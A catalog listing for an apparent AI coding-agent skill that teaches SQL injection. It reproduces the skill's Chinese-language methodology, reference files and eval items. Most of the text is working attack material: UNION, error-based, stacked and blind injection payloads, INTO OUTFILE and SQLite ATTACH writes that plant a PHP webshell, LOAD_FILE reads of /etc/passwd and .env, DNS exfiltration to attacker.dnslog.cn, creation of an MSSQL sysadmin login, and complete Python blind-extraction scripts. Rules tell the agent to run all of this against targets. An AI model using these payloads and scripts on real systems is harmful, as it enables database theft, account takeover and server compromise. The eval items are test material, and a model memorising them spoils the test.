
Sql Injection Methodology
- 15 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with databases tasks during AI-assisted development.
About
sql-injection-methodology is a Claude Code skill for databases. It helps solo builders move faster with AI-assisted coding.
- sql-injection-methodology
- Databases
- AI-coding skill
Sql Injection Methodology by the numbers
- 15 all-time installs (skills.sh)
- Ranked #593 of 911 Databases skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill sql-injection-methodologyAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 15 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with databases tasks during AI-assisted development.
Files
SQL 注入完整方法论
相关 skill:WAF 绕过 →waf-bypass-methodology;数据库后利用(提权/横向) →database-exploit;sqlmap 高级用法 →sqlmap-advanced
⛔ 深入参考(Phase 3 截断时必读!)
- UNION/报错注入 payload + EXTRACTVALUE 自动提取 Python 脚本 → references/union-and-error.md
- 布尔盲注/时间盲注 + 自动化 Python 脚本 → references/blind-injection.md
- WAF 绕过 + sqlmap → references/waf-bypass-sqlmap.md
- 二次注入/堆叠注入/INSERT-UPDATE/SQLite/INTO OUTFILE → references/advanced-injection.md
---
Phase 0: POST 参数完整性(最先执行!)
1. analyze_response 提取所有 input/button 的 name(含 hidden、submit) 2. 必须包含 submit 按钮 — PHP 用 isset($_POST['submit']) 做验证 3. 异常: 注入 ' 和正常值响应相同 → 缺参数,立即检查
Phase 1: 注入点发现 + 列数确认
1. 单引号 ' 测试 → 有报错即存在注入 2. ORDER BY 二分法确定精确列数(⛔ 禁止从 1 逐个递增):
ORDER BY 10 → 错误 → ORDER BY 5 → 成功 → ORDER BY 8 → 错误
→ ORDER BY 6 → 成功 → ORDER BY 7 → 错误 → 列数 = 6⛔ ORDER BY N 成功 ≠ 列数是 N!必须找到 N+1 失败的边界才能确认
Phase 2: UNION 注入(首选!必须穷尽 6 种变体后才能放弃)
UNION 无截断限制,一次拿完整 flag。必须按以下顺序尝试所有 6 种变体:
-- ① 标准 UNION(让原查询空)
' AND 1=2 UNION SELECT 1,2,3,4,5,6--
-- ② NULL 代替数字
' AND 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL--
-- ③ 不同注释符
' AND 1=2 UNION SELECT 1,2,3,4,5,6#
' AND 1=2 UNION SELECT 1,2,3,4,5,6-- -
-- ④ 大小写/注释绕过
' AND 1=2 UNiON SeLeCT 1,2,3,4,5,6--
-- ⑤ 检查回显位: 响应中出现了哪个数字(2/3/4)?该位置放查询
' AND 1=2 UNION SELECT 1,database(),3,4,5,6--
-- ⑥ 检查完整 HTML 源码(不只是摘要),搜索数字 1-6 是否在隐藏元素中策略:一旦某个变体成功找到回显位(响应中出现数字),立即用该变体提取数据,无需继续测试剩余变体。全部失败才转 Phase 3。
Phase 3: 报错注入(UNION 失败后使用,截断陷阱!)
报错注入有多种方式,按优先级尝试(某种被过滤就换下一种):
方式 1: EXTRACTVALUE(首选,MySQL 5.1+)
最多返回 32 字符:
' AND EXTRACTVALUE(1,CONCAT(0x7e,database()))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))-- 方式 2: UPDATEXML(EXTRACTVALUE 被过滤时)
' AND UPDATEXML(1,CONCAT(0x7e,database()),1)--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)-- 方式 3: floor+rand(MySQL 经典,兼容性最好)
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT flag FROM flag LIMIT 0,1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- 方式 4: exp() 溢出(MySQL 5.5.5-5.5.49)
' AND exp(~(SELECT*FROM(SELECT database())a))-- 方式 5: BIGINT 溢出
' AND !(SELECT*FROM(SELECT database())a)-~0-- 数据库差异:
- MSSQL:
' AND 1=CONVERT(int,@@version)--或' AND 1=CAST(db_name() AS int)-- - PostgreSQL:
' AND 1=CAST(version() AS int)--
⛔⛔⛔ 提取 flag 值时:禁止手动 SUBSTRING 拼接!必须用脚本!
触发条件: EXTRACTVALUE 返回的 flag 被截断(< 预期长度) 强制动作: 1. ⛔ 立即执行 references/union-and-error.md 获取 Python 自动提取脚本 2. 用 bash 执行该 Python 脚本(自动分段 + 拼接 + LENGTH 验证) 3. ⛔ 绝不手动写 SUBSTRING → 手动拼 hex 必丢字符 → 已连续 2 次导致任务失败
Phase 4: ⛔ Flag 交付前强制验证(无论用了什么注入方式)
在报告 flag 之前,必须全部通过以下检查,否则不得报告:
-- 1. 查询真实长度
' AND EXTRACTVALUE(1,CONCAT(0x7e,LENGTH((SELECT flag FROM flag))))-- | 检查项 | 方法 | 不通过处理 |
|---|---|---|
| 长度匹配 | len(flag) == LENGTH() 返回值 | 重新提取,不得报告 |
| 格式正确 | 以 flag{ 开头 } 结尾 | 重新提取 |
| Hash 合理性 | flag{...} 中 hash 长度通常是 32/40/64 | 长度异常则重新提取 |
⛔ 跳过此验证直接报告 flag = 任务失败。这是最后防线。
POST 参数完整性
- curl 和浏览器差异:浏览器自动发送某些参数,curl 需手动添加
🤖 Agent 行为规则 — SQL 注入
⛔ NEVER
- NEVER 手动拼接 EXTRACTVALUE/UPDATEXML 输出超过 32 字符 — 必须用 Python 脚本自动化
- NEVER 在未验证 LENGTH() 的情况下提交 flag
- NEVER 放弃 UNION SELECT 前不尝试全部 6 种变体(NULL/1/字符串/混合/注释/括号)
- 遇到过滤/绕过场景先读 references 文件中的绕过清单,标记为必读的部分不可跳过
✅ ALWAYS
- ALWAYS 先用 ORDER BY 确定列数,再构造 UNION
- ALWAYS 在 flag 提交前执行 LENGTH() + 格式检查(
flag{...}64-70 hex 字符) - 遇到输出截断时立即切换到 Python 脚本(读取 references 获取脚本模板)
- ALWAYS 3 次相同失败后换策略(UNION→Error→Boolean→Time)
🔧 工具偏好
1. http_request — 注入测试首选(可控 header/body/method) 2. python3 — 自动化提取(EXTRACTVALUE 截断场景) 3. 读取 references 文件 — 每个 Phase 开始前读取对应 references
{
"skill_name": "sql-injection-methodology",
"evals": [
{
"id": 1,
"name": "sqli-post-param-completeness",
"prompt": "你在测试一个 PHP 表单提交页面 /send.php。用 curl 发送 name=test'&email=a@b.com 测试注入,但无论输入什么 payload,响应内容和正常请求完全一样(相同 Content-Length)。请分析可能的原因和排查方法。",
"expected_output": "识别出 POST 参数不完整(缺少 submit 按钮参数)导致 PHP 逻辑未执行",
"expectations": [
"submit|按钮|button|isset|$_POST",
"隐藏字段|hidden|CSRF|必需参数|完整参数",
"表单分析|HTML|input|所有字段|name属性",
"PHP|isset|redirect|逻辑未执行|不处理",
"curl|浏览器差异|自动发送|手动添加"
],
"required_terms": [
"$_POST",
"curl",
"HTML"
]
},
{
"id": 2,
"name": "sqli-orderby-column-count",
"prompt": "你在测试 /product?id=1 的 SQL 注入。ORDER BY 5 返回正常页面。你下一步应该怎么做?请详细说明确定精确列数的完整方法。",
"expected_output": "ORDER BY 二分法找精确边界,ORDER BY 5 成功只说明列数 ≥ 5",
"expectations": [
"继续增大|ORDER BY 6|ORDER BY 10|不能停在5|边界",
"ORDER BY N+1 失败|精确|确切列数|上界",
"二分法|二分查找|逐步缩小范围",
"≥ 5|至少5|不等于5|大于等于",
"UNION SELECT|确认列数后|NULL|构造"
],
"required_terms": [
"ORDER BY",
"UNION SELECT"
]
},
{
"id": 3,
"name": "sqli-extractvalue-truncation",
"prompt": "你在 CTF 中通过报错注入 EXTRACTVALUE(1,CONCAT(0x7e,(SELECT flag FROM flag))) 提取 flag,得到结果 '~flag{a1b2c3d4e5f6a1b2c3d4e5f6a1',但 flag 实际长度是 64 字符。你发现只拿到了 31 个字符。请分析原因并给出完整提取方案。",
"expected_output": "识别 EXTRACTVALUE 32 字符截断陷阱,使用 SUBSTRING 分段 + 自动化脚本拼接",
"expectations": [
"32字符|截断|限制|上限|31字符有效",
"SUBSTRING|MID|SUBSTR|分段提取|偏移",
"自动化|Python|脚本|循环|不手动拼接",
"0x7e|~|占一个字符|有效只有31",
"UNION|优先|替代方案|无截断限制"
],
"required_terms": [
"EXTRACTVALUE",
"32",
"SUBSTRING"
]
},
{
"id": 4,
"name": "sqli-union-vs-error-priority",
"prompt": "你确认了一个 SQL 注入点,UNION SELECT 和 EXTRACTVALUE 报错注入都可以使用。目标是提取一个 64 字符的 flag。你应该优先使用哪种方法?请解释理由。",
"expected_output": "明确推荐 UNION 优先,因为无截断限制;EXTRACTVALUE 有 32 字符截断陷阱",
"expectations": [
"UNION|优先|首选|第一选择",
"截断|32字符|EXTRACTVALUE限制|丢失数据",
"完整|一次查询|无长度限制|全部数据",
"分段|拼接|容易出错|手动拼接风险",
"仅当UNION不可用|备选|退路|fallback"
],
"required_terms": [
"UNION",
"EXTRACTVALUE",
"SUBSTRING"
]
},
{
"id": 5,
"name": "sqli-waf-bypass-tamper",
"prompt": "你发现一个 SQL 注入点(GET /api/user?id=1),使用 sqlmap 检测但 WAF 拦截了。请给出具体的 sqlmap tamper 脚本组合推荐(区分 MySQL 和 MSSQL)。",
"expected_output": "具体的 tamper 组合而非泛泛而谈",
"expectations": [
"space2comment|空格替换|注释绕过",
"between|equaltolike|greatest|MySQL专用",
"charencode|MSSQL|区分数据库",
"--tamper|具体参数|组合使用",
"--random-agent|--level|--risk|辅助参数"
],
"required_terms": [
"space2comment",
"charencode",
"sqlmap"
]
}
]
}
{
"skill_id": "sql-injection-methodology",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": ["sql injection", "sqli", "SQL注入", "sql"]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术变体搜索",
"keywords": ["union select", "blind sql", "sqlmap", "boolean-based"]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被 SSTI 召回",
"keywords": ["template injection", "jinja2"]
}
],
"llm_tests": [
{
"id": 1,
"name": "sqli-login-bypass-scenario",
"scenario": "目标登录页 POST /login 有 username 和 password 参数。输入 admin' 导致 500 错误,说明可能有 SQL 注入。请搜索相关攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{"tool": "list_skills", "keyword_contains": "sql|sqli|injection"},
{"tool": "read_skill", "id": "sql-injection-methodology"}
]
}
]
}
SQL 注入高级技术
二次注入 (Second-Order Injection)
原理:注入 payload 首次输入时被转义存入数据库,但后续查询从数据库取出时未再次转义,导致 SQL 注入。
典型场景:注册用户名 → 修改密码时触发
Step 1: 注册用户名为 admin'--
INSERT INTO users VALUES('admin''--', 'mypass') ← 转义存入,安全
Step 2: 修改密码
UPDATE users SET password='newpass' WHERE username='admin'--'
→ 实际执行: UPDATE users SET password='newpass' WHERE username='admin'
→ admin 的密码被改为 newpass!利用流程
1. 注册: username = admin'-- , password = 任意
2. 登录注册的账号
3. 修改密码为已知值(如 test123)
4. 用 admin / test123 登录 → 成功获取 admin 权限sqlmap 二次注入
timeout 480 sqlmap -u 'http://target/register' \
--data 'username=test&password=pass' \
--second-url 'http://target/profile' \
--batch --level 3 \
2>&1 | tee /tmp/sqlmap_output.log---
堆叠注入 (Stacked Queries)
原理:用分号 ; 分隔多条 SQL 语句,执行任意 SQL。
支持情况:
| 数据库 | 堆叠注入支持 | 条件 |
|---|---|---|
| MySQL | mysqli_multi_query() 才支持 | mysql_query() 不支持 |
| MSSQL | ✅ 默认支持 | - |
| PostgreSQL | ✅ 默认支持 | - |
| SQLite | ✅ 默认支持 | - |
| Oracle | ❌ 不支持 | - |
检测
'; SELECT SLEEP(3);-- -- MySQL
'; WAITFOR DELAY '0:0:3';-- -- MSSQL
'; SELECT pg_sleep(3);-- -- PostgreSQL利用(绕过 SELECT 限制)
-- 如果只允许 SELECT,用堆叠执行其他操作
-- 读取其他表
';SELECT flag FROM flag_table;--
-- 写文件
';SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';--
-- 创建用户(MSSQL)
';EXEC sp_addlogin 'hacker','password';--
';EXEC sp_addsrvrolemember 'hacker','sysadmin';--
-- 修改数据
';UPDATE users SET role='admin' WHERE username='myuser';--CTF 常见:堆叠注入 + HANDLER (MySQL)
当 select 被过滤时:
'; HANDLER flag_table OPEN;
'; HANDLER flag_table READ FIRST;
'; HANDLER flag_table CLOSE;--
-- 或 PREPARE + EXECUTE 绕过关键字过滤
';SET @sql=CONCAT('sel','ect flag from flag');PREPARE stmt FROM @sql;EXECUTE stmt;-----
INSERT/UPDATE 注入
INSERT 注入
-- 原始: INSERT INTO users(username, password) VALUES('INPUT', 'pass')
-- 注入第二条记录(添加 admin)
test', 'pass'), ('admin', 'hacked')--
-- 报错注入(在 INSERT 中用 EXTRACTVALUE)
test' AND EXTRACTVALUE(1,CONCAT(0x7e,database())) AND '1'='1
-- 布尔盲注(通过注册是否成功判断)
test' AND (SELECT ASCII(SUBSTRING(flag,1,1)) FROM flag)>70 AND '1'='1UPDATE 注入
-- 原始: UPDATE users SET email='INPUT' WHERE id=5
-- 修改其他字段
test', role='admin' WHERE username='myuser'--
-- 修改其他用户(越权)
test' WHERE username='admin'--
-- 报错注入
test' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT flag FROM flag))) AND '1'='1识别特征
- 注册/修改资料等写操作的参数
- 注入
'后出现数据库错误(但可能不影响页面显示) - 有时需要检查数据库中是否写入了异常数据来判断注入结果
---
SQLite 注入语法
SQLite 与 MySQL 语法差异大,在 CTF 中常见。
系统表不同
-- MySQL: information_schema
SELECT table_name FROM information_schema.tables
-- SQLite: sqlite_master
SELECT name FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE type='table' AND name='users' -- 获取建表语句UNION 注入
' UNION SELECT 1,2,3 FROM sqlite_master--
' UNION SELECT name,sql,3 FROM sqlite_master WHERE type='table'--
' UNION SELECT 1,flag,3 FROM flag_table--SQLite 特有函数
-- 版本
SELECT sqlite_version()
-- 字符串拼接用 ||(不是 CONCAT)
SELECT 'a' || 'b'
-- SUBSTRING → SUBSTR
SELECT SUBSTR(flag,1,1) FROM flag
-- 无 SLEEP(),用 randomblob() 做时间盲注(较慢)
SELECT CASE WHEN (SUBSTR(flag,1,1)='f') THEN randomblob(100000000) ELSE 0 END FROM flag
-- 无 EXTRACTVALUE/UPDATEXML → 无法报错注入,只能 UNION 或盲注SQLite 布尔盲注
' AND (SELECT SUBSTR(flag,1,1) FROM flag_table)='f'--
' AND (SELECT unicode(SUBSTR(flag,POS,1)) FROM flag_table)>70--SQLite 写文件(需要 ATTACH)
'; ATTACH DATABASE '/var/www/html/shell.php' AS pwned;
CREATE TABLE pwned.x (data TEXT);
INSERT INTO pwned.x VALUES('<?php system($_GET["cmd"]); ?>');-----
INTO OUTFILE 写 Shell (MySQL)
条件: 1. MySQL 用户有 FILE 权限 2. secure_file_priv 为空或包含目标路径 3. 知道 Web 根目录路径
检测权限
-- 检查 secure_file_priv
' UNION SELECT 1,@@secure_file_priv,3--
-- 空字符串 = 不限制,NULL = 禁止,路径 = 限制到该路径
-- 检查 FILE 权限
' UNION SELECT 1,file_priv,3 FROM mysql.user WHERE user=current_user()--写 Webshell
-- 基础写入
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
-- DUMPFILE(写二进制文件、无行尾换行)
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO DUMPFILE '/var/www/html/shell.php'--
-- 十六进制编码绕过引号过滤
' UNION SELECT 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 INTO OUTFILE '/var/www/html/shell.php'--常见 Web 根路径
| 系统/服务 | 路径 |
|---|---|
| Apache (Debian/Ubuntu) | /var/www/html/ |
| Apache (CentOS) | /var/www/html/ |
| Nginx | /usr/share/nginx/html/ |
| Tomcat | /usr/local/tomcat/webapps/ROOT/ |
| IIS | C:\inetpub\wwwroot\ |
| XAMPP | /opt/lampp/htdocs/ |
| Docker 常见 | /app/, /var/www/ |
读取文件
-- LOAD_FILE 读取
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
' UNION SELECT 1,LOAD_FILE('/flag.txt'),3--
-- 常用目标
/etc/passwd
/var/www/html/config.php
/var/www/html/.env
/proc/self/environ---
DNSLOG 带外注入 (OOB)
当无回显、无报错、无时间差异时的最后手段:
-- MySQL (Windows only, 需要 FILE 权限)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.dnslog.cn\\a'))--
-- MSSQL
'; EXEC master..xp_dirtree '\\'+db_name()+'.attacker.dnslog.cn\a'--
-- Oracle
' UNION SELECT UTL_HTTP.REQUEST('http://'||user||'.attacker.dnslog.cn') FROM DUAL--DNSLog 平台:ceye.io、dnslog.cn、interact.sh
---
CTF 高级 SQLi 技巧补充
反斜杠逃逸引号绕过
当两个参数拼入同一 SQL(如 username='$u' AND password='$p'),在第一个参数末尾注入 \ 吞掉闭合引号,使第二个参数变成可控 SQL:
curl -d 'username=\&password= OR 1=1-- '
# 结果: WHERE username='\' AND password=' OR 1=1-- '
# ^^^^^^^^^^^^^ 第一个字符串延伸到此MySQL 列截断(VARCHAR 绕过)
MySQL VARCHAR(N) 静默截断超长字符串,且比较时忽略尾部空格。注册 "admin" + 空格填充 + 垃圾字符 可创建与 admin 同名的重复行:
-- VARCHAR(20) → 注册用户名: admin x
-- MySQL 截断为 "admin " → 匹配 "admin"INSERT ON DUPLICATE KEY UPDATE 密码覆写
当只能注入 INSERT 语句时,利用 UNIQUE 约束冲突更新已有用户密码:
-- 注入到 username 字段:
'),('','admin','z') ON DUPLICATE KEY UPDATE password='hacked'#innodb_table_stats 替代 information_schema
WAF 拦截 information_schema 时用 mysql.innodb_table_stats 枚举表名:
SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name=database()SQLi → SSTI 链式攻击
当 SQLi 结果被模板引擎渲染时,注入 SSTI payload(用 hex 编码绕过引号过滤):
payload = "{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}"
hex_payload = '0x' + payload.encode().hex()
# username=x\&password=) union select 1, {hex_payload}#MySQL REGEXP 逐字节 Oracle
REGEXP 作为盲注布尔 Oracle,WAF 通常不拦截:
-- 逐字符匹配: pw REGEXP '^a' → True/False
/?user=`\`&pw=`||pw/**/REGEXP/**/"^a"PHP PCRE 回溯限制绕过 WAF
preg_match() 在回溯超过 100 万次时返回 false(非 0),大多数代码用 if (!preg_match(...)) 判断导致绕过:
payload = "union select 1,2,3-- " + "a" * 1000001盲注深度指南
布尔盲注数据提取(无回显时)
当 UNION 和报错注入都不可用时,用布尔盲注逐字符提取:
-- 判断 flag 第1个字符的 ASCII 码
' AND ASCII(SUBSTRING((SELECT flag FROM flag),1,1))>70-- → 响应正常 → > 70
' AND ASCII(SUBSTRING((SELECT flag FROM flag),1,1))>80-- → 响应异常 → <= 80
-- 二分法缩小范围直到确定字符
-- 先确定 flag 长度
' AND LENGTH((SELECT flag FROM flag))>50--
' AND LENGTH((SELECT flag FROM flag))>60--时间盲注(布尔盲注也无差异时)
' AND IF(ASCII(SUBSTRING((SELECT flag FROM flag),1,1))>70,SLEEP(3),0)--响应延迟 3 秒 → 条件为真。
数据库类型识别
| 数据库 | 版本查询 | 延时函数 | 注释符 |
|---|---|---|---|
| MySQL | SELECT @@version | SLEEP() | # -- |
| MSSQL | SELECT @@version | WAITFOR DELAY | -- |
| Oracle | SELECT banner FROM v$version | dbms_pipe.receive_message | -- |
| PostgreSQL | SELECT version() | pg_sleep() | -- |
| SQLite | SELECT sqlite_version() | 无原生延时 | -- |
---
⛔ 自动化盲注脚本(agent 必须用脚本,禁止手动二分法)
布尔盲注自动化脚本
#!/usr/bin/env python3
"""布尔盲注自动提取数据 - 二分法"""
import requests
import sys
# ===== 配置区域(根据实际情况修改)=====
URL = "http://target/page.php"
METHOD = "GET" # GET 或 POST
PARAM = "id" # 注入参数名
TRUE_MARKER = "Welcome" # 条件为真时响应中包含的特征字符串
# 注入模板:{condition} 会被替换为判断条件
# GET: 直接拼在参数值后面
# 根据闭合方式调整引号和注释
INJECT_TEMPLATE = "1' AND {condition}-- "
# 要提取的 SQL 子查询
EXTRACT_QUERY = "(SELECT flag FROM flag LIMIT 0,1)"
# ===== 配置结束 =====
def check(condition):
"""发送请求,判断条件是否为真"""
payload = INJECT_TEMPLATE.format(condition=condition)
if METHOD == "GET":
r = requests.get(URL, params={PARAM: payload}, timeout=10)
else:
r = requests.post(URL, data={PARAM: payload}, timeout=10)
return TRUE_MARKER in r.text
def get_length(query):
"""二分法获取数据长度"""
low, high = 0, 200
while low < high:
mid = (low + high) // 2
if check(f"LENGTH({query})>{mid}"):
low = mid + 1
else:
high = mid
return low
def get_char(query, pos):
"""二分法获取指定位置的字符"""
low, high = 32, 126
while low < high:
mid = (low + high) // 2
if check(f"ASCII(SUBSTRING({query},{pos},1))>{mid}"):
low = mid + 1
else:
high = mid
return chr(low)
def extract(query):
"""提取完整数据"""
length = get_length(query)
print(f"[*] Data length: {length}")
result = ""
for i in range(1, length + 1):
c = get_char(query, i)
result += c
print(f"[*] Progress: {result}", flush=True)
return result
if __name__ == "__main__":
query = sys.argv[1] if len(sys.argv) > 1 else EXTRACT_QUERY
print(f"[*] Extracting: {query}")
data = extract(query)
print(f"\n[+] RESULT: {data}")时间盲注自动化脚本
#!/usr/bin/env python3
"""时间盲注自动提取数据 - 通过响应延时判断"""
import requests
import sys
import time
# ===== 配置区域 =====
URL = "http://target/page.php"
METHOD = "GET"
PARAM = "id"
DELAY = 3 # 延时秒数(条件为真时延时)
THRESHOLD = DELAY - 0.5 # 判断阈值
# MySQL: IF(condition,SLEEP(N),0)
# MSSQL: IF condition WAITFOR DELAY '0:0:N'
# PostgreSQL: CASE WHEN condition THEN pg_sleep(N) END
INJECT_TEMPLATE = "1' AND IF({condition},SLEEP(" + str(DELAY) + "),0)-- "
EXTRACT_QUERY = "(SELECT flag FROM flag LIMIT 0,1)"
# ===== 配置结束 =====
def check(condition):
"""通过响应时间判断条件真假"""
payload = INJECT_TEMPLATE.format(condition=condition)
start = time.time()
try:
if METHOD == "GET":
requests.get(URL, params={PARAM: payload}, timeout=DELAY + 5)
else:
requests.post(URL, data={PARAM: payload}, timeout=DELAY + 5)
except requests.Timeout:
return True # 超时也视为延时成功
elapsed = time.time() - start
return elapsed >= THRESHOLD
def get_length(query):
low, high = 0, 200
while low < high:
mid = (low + high) // 2
if check(f"LENGTH({query})>{mid}"):
low = mid + 1
else:
high = mid
return low
def get_char(query, pos):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
if check(f"ASCII(SUBSTRING({query},{pos},1))>{mid}"):
low = mid + 1
else:
high = mid
return chr(low)
def extract(query):
length = get_length(query)
print(f"[*] Data length: {length}")
result = ""
for i in range(1, length + 1):
c = get_char(query, i)
result += c
print(f"[*] Progress: {result}", flush=True)
return result
if __name__ == "__main__":
query = sys.argv[1] if len(sys.argv) > 1 else EXTRACT_QUERY
print(f"[*] Extracting (time-based): {query}")
data = extract(query)
print(f"\n[+] RESULT: {data}")使用方法
# 1. 修改脚本顶部配置区域(URL/PARAM/注入模板/特征字符串)
# 2. 运行
# 布尔盲注
python3 bool_blind.py "(SELECT flag FROM flag LIMIT 0,1)"
# 时间盲注
python3 time_blind.py "(SELECT password FROM users WHERE username='admin')"
# 先提取数据库名
python3 bool_blind.py "database()"
# 提取表名
python3 bool_blind.py "(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())"
# 提取列名
python3 bool_blind.py "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag')"适配不同数据库
| 数据库 | 时间盲注模板 |
|---|---|
| MySQL | IF({condition},SLEEP(3),0) |
| MSSQL | IF {condition} WAITFOR DELAY '0:0:3' |
| PostgreSQL | CASE WHEN {condition} THEN pg_sleep(3) END |
| Oracle | CASE WHEN {condition} THEN dbms_pipe.receive_message('a',3) END |
| SQLite | CASE WHEN {condition} THEN randomblob(100000000) END |
UNION 注入与报错注入深度指南
UNION 列数精确判断(ORDER BY 二分法 — 必须完成!)
用 ORDER BY 二分法精确确定列数。必须找到确切的 N,使 ORDER BY N 成功且 ORDER BY N+1 失败:
' ORDER BY 1-- → 正常
' ORDER BY 10-- → 错误 → 列数在 1-9 之间
' ORDER BY 5-- → 正常 → 列数在 5-9 之间
' ORDER BY 8-- → 正常 → 列数在 8-9 之间
' ORDER BY 9-- → 正常 → 列数在 9-9 之间
' ORDER BY 10-- → 错误 → 列数 = 9(确认!)⚠️ 关键规则:ORDER BY N 成功 ≠ 列数就是 N!
- ORDER BY 5 成功只说明列数 ≥ 5,可能是 5, 6, 7, 8, 9...
- 必须继续测试直到找到 ORDER BY N+1 失败的边界
- 找到确切列数后才能构造 UNION
构造 UNION:' UNION SELECT 1,2,3,4,5,6,7,8,9-- (用确切列数)
如果 UNION 报错:
- 不要立刻放弃!先检查列数是否正确
- 如果 ORDER BY N 成功但 UNION SELECT 1,...,N 报错,尝试 N+1、N+2(ORDER BY 对部分查询可能不准)
- 尝试不同注释符:
--、#、-- - - 尝试 NULL 代替数字:
UNION SELECT NULL,NULL,... - 必须尝试到 ORDER BY 上界之前不要放弃 UNION
找回显位:观察页面上哪个数字显示了(如显示 2 和 3),这些位置可以放查询语句。
UNION SELECT 手工提取(首选方案!)
UNION SELECT 没有字符数限制,应当作为第一选择!仅在 UNION 确实不可用时才用 EXTRACTVALUE。
-- 数据库名 + 用户(将查询放在回显位,如位置 2)
' UNION SELECT 1,database(),user(),4,5,6,7,8,9--
-- 所有表名
' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7,8,9 FROM information_schema.tables WHERE table_schema=database()--
-- 指定表的列名
' UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7,8,9 FROM information_schema.columns WHERE table_name='flag'--
-- 提取数据(完整 flag,无截断!)
' UNION SELECT 1,flag,3,4,5,6,7,8,9 FROM flag--CTF 常见 flag 表名速查
枚举表名后,优先检查以下常见命名:
flag,flags,secret,secretsadmin,users,ctf,challengefl4g,s3cret,key,config
为什么 UNION 优先?
- 返回完整数据,无 32 字符截断
- 一次查询拿到完整 flag
- 不需要 SUBSTRING 分段 + 手动拼接(拼接容易丢字符)
报错注入截断陷阱(EXTRACTVALUE / UPDATEXML — 仅当 UNION 不可用时使用!)
再次强调:UNION SELECT 是首选。EXTRACTVALUE 容易丢字符,仅在 UNION 确实失败后使用。
EXTRACTVALUE() 和 UPDATEXML() 输出上限 32 字符。CONCAT(0x7e, data) 中 ~ 占 1 字符,有效数据只有 31 字符。
⚠️ 绝对不要手动拼接 EXTRACTVALUE 分段!LLM 数hex字符极易出错。必须用 Python 脚本自动提取+拼接+验证:
# 用 bash 运行此 Python 脚本自动提取完整 flag
# 只需修改 URL、POST参数、注入点位置
import requests, re, sys
URL = "http://TARGET/send.php" # ← 修改目标URL
# ← 修改POST参数,注入点用 {PAYLOAD} 占位
def make_data(payload):
return {
'fullname': f"1' AND {payload}-- ", # ← 注入参数
'email': 'a@b.com', 'phone': '1',
'subject': 't', 'message': 't', 'submit': '1'
}
def extract(payload):
r = requests.post(URL, data=make_data(payload))
m = re.search(r"XPATH syntax error: '~([^']*)'", r.text)
return m.group(1) if m else None
# 1) 获取长度
total_len = int(extract("EXTRACTVALUE(1,CONCAT(0x7e,LENGTH((SELECT flag FROM flag))))"))
print(f"Flag length: {total_len}")
# 2) 分段提取 (每段30字符,安全不超32限制)
CHUNK = 30
flag = ""
for start in range(1, total_len + 1, CHUNK):
part = extract(f"EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT flag FROM flag),{start},{CHUNK})))")
if not part:
print(f"ERROR: Segment at {start} returned None!")
sys.exit(1)
print(f" Segment [{start}:{start+len(part)-1}] = '{part}' (len={len(part)})")
flag += part
# 3) 验证
print(f"\nAssembled flag ({len(flag)} chars): {flag}")
if len(flag) != total_len:
print(f"ERROR: Length mismatch! Expected {total_len}, got {len(flag)}")
sys.exit(1)
if not flag.endswith('}'):
print("ERROR: Flag doesn't end with }")
sys.exit(1)
print(f"VERIFIED OK: {flag}")使用方式:复制上面的 Python 脚本,修改 URL 和参数后直接执行。Python 会自动分段、拼接、验证长度。绝不手动拼接!
WAF 绕过与 sqlmap 高级用法
⛔ sqlmap 超时控制(必须遵守!)
sqlmap 扫描可能运行很长时间。必须使用 timeout 包裹,最长 10 分钟:
# ✅ 正确:用 timeout + tee 保留输出
timeout 480 sqlmap -u 'http://目标/page.php?id=1' --batch --random-agent --level 2 --risk 2 2>&1 | tee /tmp/sqlmap_output.log
# 超时后立即检查已有结果(可能已找到注入点)
echo "=== sqlmap 结果 ===" && tail -80 /tmp/sqlmap_output.log- ⛔ 禁止不加 timeout 直接运行 sqlmap
- ⛔ 禁止用
sleep N && tail轮询等待 sqlmap —— 这会浪费宝贵的轮次时间 - ✅ 超时后必须
tail查看输出,因为可能已经发现注入点 - ✅ 如果 sqlmap 10 分钟内无结果,切换手动注入测试
sqlmap 自动化检测
调用 sqlmap(将目标 URL 替换为实际地址):
timeout 480 sqlmap -u 'http://目标/page.php?id=1' --batch --random-agent --level 2 --risk 2 --technique BEUSTQ 2>&1 | tee /tmp/sqlmap_output.log如遇 WAF,逐步升级:
